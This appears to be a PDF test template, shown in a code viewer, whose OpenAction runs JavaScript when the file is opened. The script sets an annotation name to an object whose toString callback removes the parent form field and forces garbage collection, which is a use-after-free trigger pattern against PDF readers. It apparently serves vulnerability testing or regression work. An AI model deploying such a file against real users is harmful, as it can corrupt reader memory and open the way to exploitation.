• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1{{header}}
2{{object 1 0}} <<
3  /Type /Catalog
4  /Pages 2 0 R
5  /AcroForm 4 0 R
6  /OpenAction 10 0 R
7>>
8endobj
9{{object 2 0}} <<
10  /Type /Pages
11  /Count 1
12  /Kids [
13    3 0 R
14  ]
15>>
16endobj
17% Page number 0.
18{{object 3 0}} <<
19  /Type /Page
20  /Parent 2 0 R
21  /Resources <<
22    /Font <</F1 15 0 R>>
23  >>
24  /Contents [21 0 R]
25  /MediaBox [0 0 612 792]
26  /Annots [7 0 R 8 0 R 9 0 R]
27>>
28endobj
29% Forms
30{{object 4 0}} <<
31  /XFA [
32    (xdp:xdp) 23 0 R
33    (form) 29 0 R
34    (</xdp:xdp>) 30 0 R
35  ]
36  /Fields [
37    5 0 R
38  ]
39>>
40endobj
41% Fields
42{{object 5 0}} <<
43  /T (MyField)
44  /Kids [
45    6 0 R
46  ]
47  /Rect [100 100 400 400]
48>>
49endobj
50{{object 6 0}} <<
51  /Parent 5 0 R
52  /FT /Btn
53  /Kids [
54    7 0 R
55    8 0 R
56    9 0 R
57  ]
58  /Rect [200 200 220 220]
59>>
60endobj
61{{object 7 0}} <<
62  /Parent 6 0 R
63  /Type /Annot
64  /Subtype /Widget
65  /Rect [220 220 240 240]
66>>
67endobj
68{{object 8 0}} <<
69  /Parent 6 0 R
70  /Type /Annot
71  /Subtype /Widget
72  /Rect [240 240 260 260]
73>>
74endobj
75{{object 9 0}} <<
76  /Parent 6 0 R
77  /Type /Annot
78  /Subtype /Widget
79  /Rect [240 240 260 260]
80>>
81endobj
82% OpenAction action
83{{object 10 0}} <<
84  /Type /Action
85  /S /JavaScript
86  /JS 11 0 R
87>>
88endobj
89% JS program to exexute
90{{object 11 0}} <<
91>>
92stream
93var theName = "MyField";
94function Mangles() {
95  app.alert('Starting ...');
96  try {
97    var annots = this.getAnnots();
98    annots[0].name = {
99      toString: () => {
100        app.alert('Firing ...');
101        this.removeField(theName);
102        gc();
103        return false;
104      }
105    };
106  } catch (e) {
107    app.alert("failed: " + e);
108  }
109}
110Mangles();
111endstream
112endobj
113{{object 23 0}} <<
114>>stream
115<?xml version="1.0" encoding="UTF-8"?>
116<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
117endstream
118endobj
119{{object 29 0}} <<
120>>stream
121<config></config>
122<template></template>
123endstream
124endobj
125{{object 30 0}} <<
126>>stream
127</xdp:xdp>
128endstream
129endobj
130{{xref}}
131trailer <<
132  /Root 1 0 R
133>>
134{{startxref}}
135%%EOF
136